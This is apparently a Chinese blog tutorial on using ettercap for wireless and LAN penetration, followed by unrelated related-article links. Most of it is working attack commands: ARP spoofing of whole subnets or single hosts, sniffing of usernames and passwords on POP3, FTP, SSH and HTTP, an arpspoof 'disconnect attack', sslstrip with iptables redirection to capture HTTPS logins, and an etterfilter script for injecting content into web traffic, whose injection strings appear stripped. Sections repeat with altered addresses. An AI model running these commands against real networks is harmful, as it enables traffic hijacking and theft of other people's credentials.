无线渗透之ettercap

ettercap命令查看

# ettercap -h

Usage: ettercap [OPTIONS] [TARGET1] [TARGET2]

TARGET is in the format MAC/IP/PORTs (see the man for further detail)

Sniffing and Attack options:
-M, --mitm <METHOD:ARGS> perform a mitm attack
-o, --only-mitm don't sniff, only perform the mitm attack
-b, --broadcast sniff packets destined to broadcast
-B, --bridge <IFACE> use bridged sniff (needs 2 ifaces)
-p, --nopromisc do not put the iface in promisc mode
-S, --nosslmitm do not forge SSL certificates
-u, --unoffensive do not forward packets
-r, --read <file> read data from pcapfile <file>
-f, --pcapfilter <string> set the pcap filter <string>
-R, --reversed use reversed TARGET matching
-t, --proto <proto> sniff only this proto (default is all)
--certificate <file> certificate file to use for SSL MiTM
--private-key <file> private key file to use for SSL MiTM

User Interface Type:
-T, --text use text only GUI              (以命令行方式,文本形式显示)
-q, --quiet do not display packet contents     (不显示数据包内容,但是会显示用户名和密码和其他消息。)
-s, --script <CMD> issue these commands to the GUI
-C, --curses use curses GUI
-D, --daemon daemonize ettercap (no GUI)
-G, --gtk use GTK+ GUI

Logging options:
-w, --write <file> write sniffed data to pcapfile <file>
-L, --log <logfile> log all the traffic to this <logfile>
-l, --log-info <logfile> log only passive infos to this <logfile>
-m, --log-msg <logfile> log all the messages to this <logfile>
-c, --compress use gzip compression on log files

Visualization options:
-d, --dns resolves ip addresses into hostnames
-V, --visual <format> set the visualization format
-e, --regex <regex> visualize only packets matching this regex
-E, --ext-headers print extended header for every pck
-Q, --superquiet do not display user and password

General options:
-i, --iface <iface> use this network interface
-I, --liface show all the network interfaces
-Y, --secondary <ifaces> list of secondary network interfaces
-n, --netmask <netmask> force this <netmask> on iface
-A, --address <address> force this local <address> on iface
-P, --plugin <plugin> launch this <plugin>
-F, --filter <file> load the filter <file> (content filter)
-z, --silent do not perform the initial ARP scan           (静默方式不执行初始ARP扫描)
-j, --load-hosts <file> load the hosts list from <file>
-k, --save-hosts <file> save the hosts list to <file>
-W, --wifi-key <wkey> use this key to decrypt wifi packets (wep or wpa)
-a, --config <config> use the alterative config file <config>

Standard options:
-v, --version prints the version and exit
-h, --help

ettercap渗透测试:

# ettercap -Tzq
以命令行方式显示(-T),只嗅探本地数据包(-z),只显示捕捉到的用户名和密码以及其他信息(-q)。

# ettercap -T -M arp:remote /192.168.1.1// /192.168.1.2-10//
嗅探网关192.168.1.1与部分主机192.168.1.2-10之间相互通信的数据包。

# ettercap -Tzq ///110
只嗅探本机110端口pop3的信息。

# ettercap -Tzq /192.168.0.11//21,22,23
只嗅探本机与192.168.0.11主机在端口21、22、23上的通信。

# ettercap -i eth0 -Tq -L sniffed_data -F filter.ef -M arp:remote /192.168.0.11/80 //
在eth0网卡上用自己的filter嗅探ip为192.168.0.11主机在80端口上的所有通信,并把所有的数据包保存成文件名为“sniffed_data”的文件。

# ettercap -i eth0 -Tq -L sniffed_data -F filter.ef -M arp:remote /10.1.1.1/ /10.1.1.2/
单向欺骗路由,只劫持路由发向10.1.1.2的数据包。

1.ARP欺骗之会话劫持:

ettercap -i eth0 -T -M arp:remote /10.0.0.1/ /// 欺骗局域网内所有主机
ettercap -i eth0 -T -M arp:remote /10.0.0.1/ /10.0.0.12//欺骗IP为10.0.0.12的主机

ettercap -i eth0 -Tq -M arp:remote /192.168.1.103/ /192.168.1.1/
主要参数的意义如下:

-T:文本模式(-G是图形界面)
-q:安静模式,不用每个包的数据都显示,嗅到密码显示就OK了

-M:方法,arp:remote(还有一种选择是桥接,这里就不试了)

//:是代表目标的写法,MAC地址/ip/端口
# ettercap -Tzq
以命令行方式显示,只嗅探本地数据包,只显示捕捉到的用户名和密码以及其他信息。

# ettercap -T -M arp:remote /192.168.1.1/ /192.168.1.2-10/
嗅探网关192.168.1.1与部分主机192.168.1.2-10之间相互通信的数据包。

# ettercap -Tzq //110
只嗅探本机110端口pop3的信息。

# ettercap -Tzq /192.168.1.11/21,22,23
只嗅探本机与192.168.1.11主机在端口21、22、23上的通信。

# ettercap -i eth0 -Tq -L sniffed_data -F filter.ef -M arp:remote /192.168.1.11/80 //
在eth0网卡上用自己的filter嗅探ip为192.168.1.11主机在80端口上的所有通信,并把所有的数据包保存成文件名为“sniffed_data”的文件。

# ettercap -i eth0 -Tq -L sniffed_data -F filter.ef -M arp:remote /192.168.1.1/ /192.168.1.2/
单向欺骗路由,只劫持路由发向192.168.1.2的数据包。

1.ARP欺骗之会话劫持:

ettercap -i eth0 -T -M arp:remote /192.168.1.1/ // 欺骗局域网内所有主机
ettercap -i eth0 -T -M arp:remote /192.168.1.1/ /192.168.1.12/ 欺骗IP为192.168.1.12的主机
同时使用tcpdump抓包(当然也可以使用wireshark实时抓包并显示,但对本机压力比较大,建议使用tcpdump抓包,完成后再用wireshark显示):
tcpdump -i eth0
2.编译自建规则 etterfilter -o test.ef test.filter
3 获取账号
arpspoof -i 网卡 -t 目标IP 网关 #断网攻击

HTTP账号密码获取:

命令:echo 1 > /proc/sys/net/ipv4/ip_forward # 写入 1 表示开启转发功能!

可以用cat查看修改:

命令:cat /proc/sys/net/ipv4/ip_forward # 显示1表示成功开启转发功能,0表示未开启

命令:arpspoof -i 网卡 -t 目标IP 网关 #开启欺骗

用ettercap抓取登入帐号,密码:

命令:ettercap -Tq -i 网关 # T表示文本模式,q表示安静模式

HTTPS账号密码获取:
先编辑下/etc/ettercap/etter.conf
命令:vim /etc/ettercap/etter.conf
找到
# if you use iptables:
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

改为(去掉两个#):
# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

运行sslstrip -a -f -k 实现https转换成http以获取帐号密码

如果图形界面,可以用这个试试:driftnet -i wlan0
etter.filter.alert
脚本:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
if (search(DATA.data, "")) {
replace("",""); replace("",""); msg("injected ok!\n"); } }

无线渗透之ettercap的更多相关文章

  1. Kali Linux 秘籍/Web渗透秘籍/无线渗透入门

    Kali Linux 秘籍 原书:Kali Linux Cookbook 译者:飞龙 在线阅读 PDF格式 EPUB格式 MOBI格式 Github Git@OSC 目录: 第一章 安装和启动Kali ...

  2. 无线渗透wep加密路由器

    停掉网络服务 service network-manager stop 检查现在的环境适不适合使用airmon-ng airmon-ng check 杀死可能冲突的进程 开启网卡monitor模式 a ...

  3. kali linux之无线渗透

    无线技术变化大,难度大,既新鲜刺激,又压力山大.一半协议  一半理论 无线技术特点: 行业发展迅猛 互联网的重要入口 边界模糊 安全实施缺失而且困难 对技术不了解造成配置不当 企业网络私自接入ap破坏 ...

  4. 全能无线渗透测试工具,一个LAZY就搞定了

    近来一直在研究无线安全方面的东西,特别是在无线渗透测试这块,每次渗透测试时总要来回不停的切换操作和挑选利器,很是麻烦.就想看看是否可以有一款功能全面的集合型工具. 正所谓功夫不负有心人,还真有这么一个 ...

  5. kali Linux 渗透测试 | ettercap图形界面(ARP 欺骗 + DNS欺骗)

    上次我们使用 arpspoof 工具在命令行中完成了 arp 欺骗实验,今天我们用另一种工具 ettercap 工具来实现.ettercap支持图形化操作,对新手非常友好,并且操作非常简单, ette ...

  6. 无线渗透开启WPS功能的路由器

    首先关闭网络服务 service network-manager stop wps一般可在10-20小时可以爆破开,攻击难度较低,有一些厂家的无线路由甚至无法关闭WPS功能. 开始侦听开启wps功能的 ...

  7. kali linux之无线渗透(续)

    Airolib 设计用于存储ESSID和密码列表,计算生成不变的PMK(计算资源消耗型) PMK在破解阶段被用于计算PTK(速度快,计算资源要求少) 通过完整性摘要值破解密码SQLite3数据库存储数 ...

  8. 无线渗透之破解wifi

    首先你要有一张支持kali的网卡,因为这整个过程都是在kali下进行的 开启网卡监听模式 # airmon-ng start wlan0 监听附近的无线 # airodump-ng wlan0mon ...

  9. 无线渗透测试之wifi密码破解

    [声明]:本文仅供个人学习使用,请勿违法破解他人wifi 测试工具: 1.CDlinux启动盘:(请参照https://my.oschina.net/u/3112136/blog/800713) 2. ...

随机推荐

  1. Linux - Shell - date

    概述 date 命令 准备 OS CentOS 7.6 基本功能 显示时间 格式化时间 翻译时间 转换时间格式 切换时区 设置时间 查看文件最后使用时间 1. 显示时间 概述 基本功能 命令 # 内容 ...

  2. 每天进步一点点------DE2-70-TV例子说明

    module Reset_Delay(iCLK,iRST,oRST_0,oRST_1,oRST_2); input iCLK; input iRST; output reg oRST_0; outpu ...

  3. mui 把内容复制到剪切板

    function copyShareUrl(){ mui.plusReady(function(){ //复制链接到剪切板 var copy_content = ""; //判断是 ...

  4. poi处理excel自定义日期格式

    poi读取excel自定义时间类型时,读取到的是CELL_TYPE_NUMERIC,即数值类型,这个时候如果直接取值的话会发现取到的值和表格中的值不一样,这时应该先判断值是否是时间或者日期类型再进行处 ...

  5. MongoDB - 用户名密码认证

    参考 offical doc medium Mongo roles说明 https://docs.mongodb.com/manual/reference/built-in-roles/#userAd ...

  6. 笔记本电脑插上耳机声音依然外放解决方法 为什么插入HDMI线,电脑的音响就没有声音了

    笔记本电脑插上耳机声音依然外放解决方法: 下载一个驱动大师,安装声卡驱动.(驱动人生安装的驱动有可能不能用) 为什么插入HDMI线,电脑的音响就没有声音了 参考:https://zhidao.baid ...

  7. linux下删除文件夹

    ---恢复内容开始--- 4月份左右接触linux,一直到现在,收获不多,原因是因为我没有足够的努力,其实这段时间以来我也很自责. 今天学习linux进程调度等知识,使用小红帽时,准备删除一个无用的文 ...

  8. wordpress Error establishing a database connection问题

    最近这场大雨,快把帝都给淹了,我也快被这不定向问题折磨疯了,本来把项目放在A服务器,nginx ,php7,mysql,然后换到了B服务器,环境一模一样,结果呢,传上去就出现了 哎,话说我的配置也没啥 ...

  9. [C++_QT] 同步方式提交GET和POST请求

    #开始 最近在做一个需要用到提交HTTP请求的工具 但是遇到一个问题 如下 在Qt中提交一个get请求之后(或者post) 在收到回复之后会调用之前连接好的槽函数 但是问题就是在主调函数中不知道什么时 ...

  10. Java入门笔记 03-面向对象(下)

    介绍:除了前面介绍的关于类.对象的基本语法之外,下面继续介绍Java面向对象的特性. 一. 包装类: 从JDK 1.5以后,Java就提供了自动装箱和自动拆箱操作,即: 自动装箱:将一个基本类型的变量 ...